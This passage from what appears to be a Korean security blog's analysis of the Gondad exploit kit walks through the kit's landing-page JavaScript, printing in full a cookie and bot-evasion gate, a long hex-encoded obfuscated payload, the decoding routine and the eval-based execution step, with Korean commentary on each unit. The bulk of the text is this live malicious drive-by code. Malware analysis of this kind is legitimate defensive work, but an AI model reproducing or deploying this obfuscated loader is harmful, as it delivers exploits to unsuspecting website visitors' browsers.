    if(document.cookie.indexOf("Kzkr6=")==-1 && oRDS8.indexOf("linux")<=-1 && oRDS8.indexOf("bot")==-1 && oRDS8.indexOf("spider")==-1) 
    // 쿠키값 확인 로직과 봇 검색 노출 방지를 위한 로직
    {
    var mCBrLXb1=deconcept.SWFObjectUtil.getPlayerVersion(); // 해당 변수에 플래시 버전을 저장하여 난독화 안에서 사용
    var expires=new Date();
    expires.setTime(expires.getTime()+24*60*60*1000);
    UlQcp6="0"+"0";
    document.cookie="Kzkr6=Yes;path=/;expires="+expires.toGMTString();// 쿠키값 생성 로직

    2.2. Obfuscation Unit

    Cipher Text로 불리기도 하는 난독부는 사람이 읽을 수 없는 소스코드로 구성되어 있고, 실행부가 실행되면 해제부에 의해 난독부가 해제되어 브라우저가 인식할 수 있는 소스코드로 변환된다. 크게 설명할 부분은 없고, 변수에 매우 큰 문자열이 저장되어 있는 형태를 가지고 있다.

    GndC0="4BFADA5E7EF3A57E7F8CCE671EF2C24C5BAFF77267E795066E82DC2C5AEC987A72EC847C72D080797192D43D228CE82F3B83A03321DFAB0C3586A9007782AD0C0D9EA101036CAC5E1D72B5000B29C2441070DA5E5F3BE58A0C609EA4196D9EECE3648DB1E26E9BE5E76792E0A06373FDF37567D9FA676DC5F4742983FC6E66D1852B3BA1AC646ED3DF6C67DADA2C62D7D6792FDDC67167AEDE4168ADD26429AFAD6F66ADA27B29EBC70A77B5BC2165B7BC6661B8AE3D6585AA6D6D9D94637689CC676498AC534783C22B2BD6CC3B0CF2846070DC97707279C7676E6C9A6066782E71706D687429202E232B3B0D08676E6F6460667A3C7261727165486F74296370737A5B305F2E7364706D6361642A2F5C2C7C5D5E2F662E25262B293B0F0A676E72296B3F3039693C637273792E6D676C6676683B6B2B2A280D0B790F0B766D703F70607373644B6C752A617270785A685D2F7067716E616367282E5D2E7D5E5D2E652C272529283A0D0B6B64212A676F6C646065783D766F712B20676D6E656064793F766C723B0D087D0C0B6967222A29656F6E666165793C3C333531333020242621666F6F6663657A3E3D333731313028227E7D2228676D6E656064793E3F303430333020272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3D3F313532333221262722656E6C646166783F3C31343232312B290D087B0C0B76607022666D6E646364213C20656D61746F656E762E627365607667446E656D676E7529276072726D6774272B3B0C0B676E6C6660662E776B6475693D2333203A0F0A676D6E6560642F6A67686568743F2230233B0C086B672A28676D6E656064793E3F303430323520272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3F3F313532303121262722656E6C646166783D3C31343231302B290D087B0C0B676E6C6660662E617063696876643F2062694D6D352E6B716723390F0B656F6E6661652F636E66673C20476F6C646065476E6C6660664578722E626D617271203A0F0A676D6E6560642F7167754374747069637474642A20656D7461202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D08656D7265216B64212A28676D6E656064793E3F303530303020272720666D6C656364783C3D30363031322B217E7C202A676E6F6460667A3D3F313632333121262722656E6C646166783F3C31373232312B207C7E2029666F6F6663657A3C3D333531323321242421656F6E666165793E3C3337313230292B0D0B7A0D0B656D6F6661642C617362686874673C2046484A5353312E6B726523390D0A656F6F6561652C616E66653D20476E6F64606647797A2E4F6A6E6E2F636D637172203B0D08676E6F6460662C72677441767473686274766729207869636F6C606F6D74202D20687476703B2E2F7675752F7B796C6B732F626F6C2D612F67786520293A0C0A666D6C6563642E716575407475706B637774652A22636F222D20756E7B6F757B697B6969796B636E6F616F6E7623283B0C08656E6C6461662E726474407676736B6275766529237368202E23616F6E656C606879646077706B2229390D0B666F6F6663652C73657641757572686077756728226073232D2236363A232B3B0D08646E62756C676C752C626F66792F607071676C654168696E6429666F6F6663652B3B0D087D0C0B656D7167216B66202A28666E6E656366793E3D313530313220272422666D6E646364793F3D303532313229207E7C2129676E6C666066783C3F313731333322242722676F6C646065783F3F33373230302B207D7D2029656D6F6661647A3C3C303531313021242620656F6F6561657A3C3C333530323028280D0B790F0B656F6E6661652F6173616A6874653D204475514B46352C6B726722390D0B666F6F6663652C636F66653C23676E6C66303532332C476E6F6460767660616B2E616C60727323390F0B656F6E6661652F73647643757672696075756428237A6B606D6D616D6C77232C236A7675723A2F2D7776762E787B6E68712E636D6D2E622E647A67232B3B0D08676E6F6460662C7267744176747368627476672920626E202C23766F786D77786B7A686B7868606F6C636D6D742229390D0B666F6F6663652C73657641757572686077756728227169232D22626D6C666E61697B6563747168202B3A0F0A676D6E6560642F7167754374747069637474642A206371222C203735392228390F0B666F63776D646F742F606D657B2E617270646F64426A6B6D6628676D6E65606428390F0B7F0D0A676C72642068642229656F6E666165793C3C333531323620242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D212561776732303332797978792C456E6C6476742E626D617271253F3E706170616C216E606F673C6372636A6977642077636E74673D20256E7474736D5273312C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F236C7575716C5170302F687266203B0D08676E6F6460662C626D64653F22627765333233337A78787A2E466E6E6574742F616C617173233A0D0B656D6F6661642C73647541757670686075746728237969606D6F606D6C76202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08676F6C6460652E726776407674726B627475652920606F202C22756F786E75786B78696B7869636F6C606F6D742028390D0A656F6F6561652C7164764174767268637575672A237169222E22626E6E666E63687B656277716823293A0F08666D6E6463642F72657543767570696277746429226371202D2037343A22283A0D0B666D62776D656C742F636F657B2C607270656C644269696D662A666D6E646364283A0D0B7F0F0B7F0D0A676C72642068642229656F6E666165793C3C333531323720242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D2125656E6C6432323133343036342C466D6E6473712F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276579684C362C6B7267273C3C2E4E424B4741553C2229390D0B7C0D0B676E72670D0A790D0B666F6F6663652C617261686877653C2066796A4D342C6A7166223A0F08666D6E6463642F626F65673F23656F6E6632313032343235372C476F6C6470702E626E637271223B0F0A666E6E6563662F7165744374757369637776642A22786B616E6C616E6E74232E22687674713B2F2E7575762C79796E69722F636E6F2D622C65786722283A0D0B656D6F6661642C7364754175767068607574672823636E232E20766D796F7779687B68687A6B606D6D616D6C7723293A0F08666D6E6463642F7265754376757069627774642922726B202D20636F6C676D6069786760747369222B3B0C0B676E6C6660662E736774407574736B6074766528206272232C2335363920293B0F0A656E63746F676F762E626D64782F617172676F6643686B6C6529676E6C666066293B0F0A7C0C0A7C0F08646E73652269672128666D6C656364783E3D303630303222272420676D6E656064793C3F3035303032290C0B7B0C087460702077764143756134223F2175696E666F762F6E60746B6663746F702E747265734365646C742E766F4D6E77647041607165282B3B0C0B6967222A767641427661342F696F6667794D6628256D72686521342528223E202F31280C0A7A0F08656D63756F656F752E76706B756728223E4F434B45425622626E61737169653C27626E7168663A38434438423835322F313634452F313045312C4031443B2D303238313446353B3B453B33272277686574693F2533323027226864686769763F26303030253E3D716173636F216C616D673D7968616E6F636E6E762074616D74653C222569767470382F2E7677762C7B786E69732C636E6C2F622C677967273E3E706073616C226C606F653D606E2177616D77673C2227776D796E747968786A687A69616D6D606E6C77253C3D726172636D216F616C673F726B2076636C74643D2125616E6C676C636978646274736B263C3C706372606C206F636F643F62732276606D75643F2226353438253E3D716173636F216C616D673D424E44442274606E75653F2026796D6D30323031303430322F594D4D30323031303430322F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276A544B755B78392C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F2369554B76597B392E6B726523390D0A656F6F6561652C616E66653D20786C6D32313331313632322C584C4D32313331313632322C636D60737220390C08676F6C6460652E726776407674726B6274756529207A68636F6D636F6D77222D206A7576703A2D2F7676772F7B7B6D6B732E616F6C2E632F677A6420293B0F0A666E6E6563662F7165744374757369637776642A22626C222D23776E7B6D747B697A6A697968616E6F636E6E76222B3B0C0B676E6C6660662E736774407574736B6074766528207368232C23616D6F656C616B79646375706B2028390D0A656F6F6561652C7164764174767268637575672A236073222E22363538232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D087D0C0B7D0C08676D71652079090C0B090C080B686428286F4343734C5960335A256D61686F73265D3C3F3330222626226D4243724D5A603059276D6B6E6E73275C3F3F35222626226D4243724D5A60305927726776265C3D3C36323322262622286C4242734E5A63335B27656F6F656165255F3F3F20323435212726216F4143704C5860315A26676E6C666066275D3E3D213338362B2B217E7C202A6D4243724D5A603059276D636A6E73275C3F3F3033202624206C4242734E5A63335B276F696F6E72265F3F3C37202624206C4242734E5A63335B27706577265D3C3F37313020262420296C4343704E5960315B25676E6F646066255C3C3D20333131212627226F4240724C5A62305A27666D6C656364275F3C3C213135342B282B7B0D0809656E63746F676F762E77706975646C6F2A203D6B6D67227373623D704B4163505974322E7276663F3E5E2E6B6D673C22283A0D0B0B71647654696F656E74742920666E61756D676E752F77736B76646E6E285E223D646D6367662175696476683C303031226A646B6768763D31217373613F704B4362505975312E7275643F3E5C5C2D656C6365653C5E232B3B222E3231313028390F0B0B7D0D0809646D7364790F0B0B0D0A0B7660732076764343766135223D2176696F666D762C6E6174696660746E702C747165724367646F742F766D4D6D77657043607265292B390C08096964202929777543407563352E6B6E6564784E642A266F73696720372629213C222C33297C7E28767541437663342C696E6665794E6629256F726B6520352728213E212F33282B207B0F0A08656F62776F646C742E75726875656D6C2A233E696670616C64207270613C44514752694A342E69766F6D3C3C5C2D696773616C673C232B3B0D08097C0C0A08676E72672069642829767440407660372E696C6464794F672A256C71696522382628203F222F302B20262420296F61776B6560766F722C757264724065676F762E696C6464794F672A25566B6E646D7772214E5522372F332729223E212C312822242722286E6376686661756D702F60726F757364734C606C65746367652C696F6565794D6429256B6F2529213F202C332B28790D0A0B646E62756C676C752C77726B74646D6E29203E686472616F65217272623F616A4F6D372C68756C6C3F3E5E2E6B6672636D643F2228390F0B0B7D0D08097C0C0A7C0F083A0F0A64676C6475652157656E5447594A303A0C0A65676E647665205A6D7275716B31390C0864656E65756420585052726B5952353B0C0B64646E6775672073697372393B0C0866646E657467206C68496D31390C0864656E65756420725A6677666E45363B0C0B64646E67756720486566504E495434390C0864656E657564204B77547274564A363B0C0B64646E67756720564964604C7731390F0B66656C677464216F756E695760363B0F0A65646C6476672156625853796B313B0C0866646E657467206C565178755676323B0D0864646D65756722466C6443323B0C0B64646E677567204E57495352303A0F0865676C65766521654C68666452343B0D0864646D657567227564467A445959363B0C0866646E6574672070506868644831390D0A66656D647464227B514A53594F373A0C0A65676E647665206A787843353A0F0865676C65766521475456726A65373B0D0864646D6575672263766962514E50373B0C0866646E65746720434D4B72405531390D0A66656D647464227178784D4D7679363A0D0B66676D6774652269464F725930390C0864656E65756420657B4E54313B0D0864646D6575672251774465353B0C0B64646E6775672066637566393B0C0866646E65746720664E714032390C0864656E6575642047447A6049333B0F0A65646C647667215569747471507B363A0F0865676C65766521697858467336390D0A66656D64746422784257526B303B0C0B64646E6775672061774D6B303B0C0866646E6574672055484773634D36390D0A66656D647464225B4972546851333A0C0A65676E647665206B4C4D51474630390C0864656E657564204A68557B323B0D0864646D657567226C434149343B0C0B64646E67756720626F6C67353B0C0866646E6574672074764951485B70363B0D087473787B426D6E6D676374456173636166672A28397D636374626928642B797C0F0A";

    2.3. Deobfuscation Unit

    해제부는 난독부를 해제하고, 해제된 코드를 실행하는 것 까지 포함하는 부분이다. 공다팩 난독화의 분석을 수작업으로 할 수 있으면 다른 수 많은 난독화들을 분석할 수 있을 만큼 실력이 늘 수 있는 화려한 기법들을 많이 사용하고 있다.

    UgoVGYH0="function Xmstqj3(){YRPsiYR7=Math.PI;iGNrX2=Math.tan;skss8=parseInt;miIl3='length';BLKsBW0='test';hxyB5='replace';sXdvdnE4=skss8(~((YRPsiYR7&YRPsiYR7)|(~YRPsiYR7&YRPsiYR7)&(YRPsiYR7&~YRPsiYR7)|(~YRPsiYR7&~YRPsiYR7)));HgfQOIU6=skss8(((sXdvdnE4&sXdvdnE4)|(~sXdvdnE4&sXdvdnE4)&(sXdvdnE4&~sXdvdnE4)|(~sXdvdnE4&~sXdvdnE4))&1);/*www.yylis.com*/JuVsvVJ4=HgfQOIU6<<HgfQOIU6;new function(){NUIRS0=dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[hxyB5](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[BLKsBW0](VKdaMw0));}catch(e){VKdaMw0=sXdvdnE4;}otlkVb6='';TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-HgfQOIU6)VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);syzMMty7+=HgfQOIU6;VKdaMw0>>>=0;for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){if(mWQywTw0>=(1<<3)){PuDe7=mWQywTw0%(1<<3);}else {PuDe7=mWQywTw0;}dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))dyLU3%=3;otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);}try{new function(){NUIRS0(otlkVb6);}}catch(e){try{new function(){FTWphd5=parseInt;iGNrX2(otlkVb6);}}catch(e) {window.location='.';}}}try{dLidfS6('Xmstqj3();')}catch(e) {try{syzMMty7=sXdvdnE4;dLidfS6('Xmstqj3();');}catch(e){alert('ere');}}"

    2.4. Execution Unit

    실행부는 문자열로 변수에 저장되어 있는 해제부를 실행하여 최종적으로 난독화를 해제하도록 한다. 즉, 폭탄을 터트리기 위해 심지에 불을 붙이는 부분으로 이해하면 된다.

    //{수집부}
    faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;
    //{난독부}
    //{해제부}
    tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0);
    


    'Information Security > Malware' 카테고리의 다른 글

    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    공다팩(Gondad EK) 분석 #03  (3) 2014.07.11
    공다팩(Gondad EK) 분석 #02  (0) 2014.07.04
    공다팩(Gondad EK) 분석 #01  (0) 2014.06.27
    jjencode 분석  (10) 2014.03.14
    Sothink SWF Decompiler 3.7  (4) 2014.01.06

    + Recent posts